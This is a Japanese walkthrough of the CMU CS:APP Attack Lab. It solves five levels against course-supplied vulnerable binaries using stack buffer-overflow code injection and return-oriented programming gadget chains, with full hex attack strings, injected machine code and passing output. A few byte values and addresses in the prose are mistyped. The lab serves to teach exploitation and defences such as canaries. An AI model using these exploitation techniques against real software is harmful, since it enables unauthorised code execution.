概要#
実験に対応する章:3.10.3&3.10.4
実験内容:セキュリティ脆弱性を持つ 2 つのプログラムに対して 5 つの異なる攻撃方法を生成
実験講義:http://csapp.cs.cmu.edu/3e/attacklab.pdf
実験の成果:
- バッファオーバーフローに対するさまざまな攻撃方法を学ぶ
- より安全なプログラムを書く方法と、オペレーティングシステムやコンパイラがプログラムの安全性を高めるために提供する機能を学ぶ
- x86-64 プログラムのスタックとパラメータ渡しメカニズムを理解する
GDB
やOBJDUMP
などのデバッグツールに慣れる
前書き#
私たちの攻撃対象は CTARGET と RTARGET という 2 つの脆弱な実行可能プログラムで、どちらも標準入力から文字列を読み取る機能を持っています。関数の定義は以下の通りです:
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
関数はスタック上にBUFFER_SIZE
のサイズのメモリを確保します。入力する文字列の長さがこのサイズを超えると、予期しないスタック領域、例えば戻りアドレスを変更することができ、攻撃を仕掛けることができます。
パート Ⅰ: コードインジェクション攻撃#
最初の 3 つのステージでは、コードインジェクションを使用して CTARGET を攻撃します。このプログラムのスタック位置は毎回の実行で一定であり、スタック上のデータは実行可能なコードと見なすことができます。
レベル 1#
ステージ 1 では、指示を注入する必要はなく、戻りアドレスを変更するだけでプログラムをリダイレクトします。
getbuf
関数は CTARGET 内でtest
関数によって呼び出されます:
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
通常、getbuf
は実行後にtest
に戻り、情報を印刷しますが、私たちはこの動作を変更してtouch1
を実行したいと考えています:
void touch1() {
vlevle = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
getbuf
のアセンブリコードを見てみましょう:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
以下はgetbuf
実行時のスタックの構成を示しています。このプログラムはスタックポインタを 0x28 減少させ、スタック上に 40 バイトを割り当て、文字配列buf
はスタックの最上部にあります。
したがって、私たちは 40 バイトの空白文字を入力し、次に 8 バイトのターゲットアドレスを入力して元の戻りアドレスを上書きする必要があります。逆アセンブルコードを調べてtouch1
関数のアドレスを取得します。
00000000004017c0 <touch1>
したがって、私たちの攻撃文字列は次のようになります。
#phase1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
成功しました。実行時に-q
を追加すると CMU のサーバーとの通信をキャンセルできます。
❯ ./hex2raw < ./phase1/phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
レベル 2#
ステージ 2 では、攻撃文字列に少量のコードを挿入し、touch2
を実行することを要求します。
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
touch1
と比較して、touch2
には無符号のパラメータcookie
が追加されています。必要な値はcookie.txt
にあり、0x59b997fa
です。
アセンブリ:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
cookie
の値は%rdi
に格納されるため、実行する手順は次のとおりです:
0x69b997fa
を%rdi
に格納するtouch2
を呼び出す
これらの 2 つの手順の命令を攻撃文字列の先頭に置き、攻撃文字列の 41-48 バイトを文字列のアドレス A に変更します。これはgetbuf
内の%rsp-0x28
の最低アドレスです。これにより、getbuf
が戻ると A に到達し、上記の 2 つの手順が実行されます。攻撃文字列が読み込まれた後のスタックは以下のようになります:
次に A の実際の値を取得します。GDB
を使用してgetbuf
がスタックポインタを移動した後にブレークポイントを設定し、%rsp
の値を表示します。
❯ gdb ctarget
(gdb) b *0x4017af
(gdb) run -q
(gdb) p /x $rsp
$1 = 0x5561dc78
次に攻撃手順の機械コードを取得します。まずアセンブリ形式で書きます。
movq $0x59b997fa, %rdi # cookieを%rdiに書き込む
pushq $0x4017ec # touch2にジャンプ
ret
次にclang
を使用してアセンブルし、objdump
で逆アセンブルします。
❯ clang -c phase2.s & objdump -d phase2.o > phase2_dump.s
次の内容が得られます:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
したがって、攻撃文字列は次のようになります:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00 # 攻撃命令
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 # 攻撃命令のアドレス、すなわちA
成功しました:
❯ ./hex2raw < ./phase2/phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
レベル 3#
ステージ 3 でもコードインジェクション攻撃を行います。第二段階と比較して、渡される無符号数cookie
は文字列形式になり、実行するターゲットプログラムtouch3
は次のようになります:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
hexmatch
の役割は、入力された文字列がcookie
と等しいかどうかを比較することです。全体の考え方はステージ 2 と似ていますが、次の 2 点に注意が必要です:
cookie
は文字列形式で渡されるため、ASCII コード形式に変換してスタックに格納する必要があります。getbuf
とhexmatch
を呼び出す際、strcmp
の前に 4 回のプッシュ操作が行われるため、文字列の格納位置に注意して上書きされないようにする必要があります。
攻撃文字列入力後のスタックは次のようになります:
攻撃命令をアセンブリ形式で書きます:
movq $0x5561dca8, %rdi # cookie文字列の格納位置(A+0x30)
pushq $0x4018fa # touch3のアドレス
ret
アセンブリを逆アセンブルして機械コードを得ます:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
攻撃文字列を構築します:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00 # 攻撃命令
00 00 00 00 00 00 00 00 <-|
00 00 00 00 00 00 00 00 | この4行は上書きされます
00 00 00 00 00 00 00 00 |
78 dc 61 55 00 00 00 00 <-|- 攻撃命令のアドレス
35 39 62 39 39 37 66 61 # cookieのASCIIコード
00 00 00 00 00 00 00 00 # \0
成功しました:
❯ ./hex2raw < ./phase3/phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
パート Ⅱ: リターン指向プログラミング#
バッファオーバーフローを利用してコードインジェクション攻撃を行うのは非常に危険であるため、人々はそれに対抗するためのいくつかの技術を使用しています。最後の 2 つのステージでは、RTARGET
を攻撃します。これは次の 2 つの技術を使用しています:
- スタックのランダム化:毎回の実行時にスタックの位置が変わるため、私たちは攻撃文字列のスタックアドレス、すなわち前述の A を攻撃することができません。
- 実行可能コード領域の制限:スタックに保存された内容を実行不可としてマークするため、攻撃文字列にジャンプできたとしても、セグメンテーションフォルトにより実行できません。
幸いにも、賢い人々が解決策を見つけました —— リターン指向プログラミング(ROP)。
その原理は、プログラム自体のコードセクションを結合して攻撃を行うことです。結合する際の各小部分を gadget と呼び、各 gadget は数命令を含み、0x3c(ret 命令)で終了します。
例を見てみましょう。これは RTARGET プログラム内のある C 言語のコードスニペットです。
void setval_210(unsigned *p) {
*p = 3347663060U;
}
および対応するアセンブリ命令:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
ここに含まれる48 49 c7
の部分はmovq %rax, %rdi
としてエンコードでき、c3
はret
としてエンコードできます。したがって、0x400f118
にジャンプすると、このコードの機能は次のようになります:
movq %rax, %rdi
ret
これが gadget です。攻撃の行動が明確になったら、適切な gadget を探し、それらを組み合わせて攻撃のコードチェーンを構成します。
レベル 2#
ステージ 4 では、ROP を使用してステージ 2 と同じタスクを完了し、touch2
に cookie の値を渡します。私たちは次の 2 つのステップに分解しました:
0x69b997fa
を%rdi
に格納するtouch2
を呼び出す
同時に、問題では最初の 8 つのレジスタ(% rax-% rdi)のみを使用することが要求され、start_farm
とmid_farm
の間の命令のみを gadget として使用する必要があります。慎重に調査した結果、攻撃プロセスを次の 2 つの gadget に変えることができることがわかりました:
popq %rax (58)
movq %rax %rdi (48 89 c7)
各 gadget のアドレスを特定します。
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 ret
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
アドレスはそれぞれ0x4019cc
と0x4019a3
を取ることができ、90
は nop としてエンコードできるため無視できます。したがって、攻撃文字列は次のようになります:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 最初の0x28バイト
cc 19 40 00 00 00 00 00 # popq %raxを指す戻りアドレス
fa 97 b9 59 00 00 00 00 # popする値(cookie)
a2 19 40 00 00 00 00 00 # movqを指す
ec 17 40 00 00 00 00 00 # touch2を指す
成功しました:
❯ ./hex2raw < ./phase4/phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
レベル 3#
ステージ 5 では、ROP を使用してステージ 3 のタスクを解決し、touch3
に cookie 文字列のアドレスを渡します。したがって、%rsp
の値を知る必要があり、mid_farm
の後に異なる関数があることがわかりました:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret
この関数の役割は、%rdi
と%rsi
を加算することです。したがって、%rsp
と文字列アドレスの相対オフセットを格納することで、文字列アドレスを計算できます。具体的なプロセスは次のとおりです:
1. movq %rsp %rdi
2. popq %rax # スタックからオフセットをポップ
3. movq %rax %rsi
4. movq %rax %rdi # 計算結果をパラメータとして使用
1 については、直接の手順は見つかりませんでしたので、2 つのステップに分解します:
- movq %rsp %rax (48 89 e0)
- movq %rax %rdi (48 89 c7)
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
2 については、popq % rax は 58 にエンコードされます。次のように見つかりました:
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3
3 についても直接の手順は見つかりませんでしたので、3 つのステップに分解します:
- movq %eax %edx (89 c2)
- movq %edx %ecx (89 d1)
- movq %ecx %esi (89 ce)
次の gadget が見つかりました:
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 ret
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 ret
注意:38 c9
はエンコード後に nop と同じ機能を持つため無視できます。したがって、攻撃文字列は次のようになります:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 空のまま保持
06 1a 40 00 00 00 00 00 # movq %rsp %rax
a2 19 40 00 00 00 00 00 # movq %rax %rdi <-- %rspの値を取得
ab 19 40 00 00 00 00 00 # popq %rax
48 00 00 00 00 00 00 00 # オフセット
dd 19 40 00 00 00 00 00 # movl %eax %edx
34 1a 40 00 00 00 00 00 # movl %edx %ecx
13 1a 40 00 00 00 00 00 # movl %ecx %esi
d6 19 40 00 00 00 00 00 # add_xy
a2 19 40 00 00 00 00 00 # movq %rax %rdi
fa 18 40 00 00 00 00 00 # touch3
35 39 62 39 39 37 66 61 # cookie文字列
00 00 00 00 00 00 00 00
ここで cookie 文字列は%rsp
の値を取得する位置の下 9 行にあり、オフセットは8*9=72=0x48
です。注意:phase3 と同様に、攻撃文字列の第 2 行から第 5 行には cookie を配置しないでください。そうしないと上書きされてしまいます。最後の問題も解決しました:
❯ ./hex2raw < ./phase5/phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
後記#
上記の 2 つの方法(スタックのランダム化と実行可能コード領域の制限)が ROP に対して効果的な防御を行えない場合、他に何か方法はあるのでしょうか?実際にはあります。それはスタック破壊検出です。スタックの破壊は、ローカルバッファの境界を超えたときに発生することが多いため、スタックフレーム内の任意のローカルバッファとスタックの状態の間に特別なカナリア(canary)値を保存できます。この値はプログラムの実行中にランダムに生成され、関数が戻る前にプログラムはカナリア値が変更されていないかを確認します。もし変更されていれば、プログラムは異常終了します。
最近の GCC バージョンは、関数がスタックオーバーフロー攻撃を受けやすいかどうかを判断し、自動的にこのようなオーバーフローチェックを挿入します。これにより、わずかな性能損失で良好な効果が得られます。